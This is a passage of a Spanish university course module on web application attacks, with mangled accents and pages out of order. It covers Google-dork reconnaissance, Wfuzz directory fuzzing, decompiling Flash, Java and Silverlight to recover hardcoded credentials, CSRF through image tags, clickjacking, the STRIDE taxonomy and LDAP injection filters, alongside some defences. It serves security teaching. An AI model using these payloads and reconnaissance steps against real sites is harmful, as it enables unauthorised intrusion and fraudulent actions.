Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
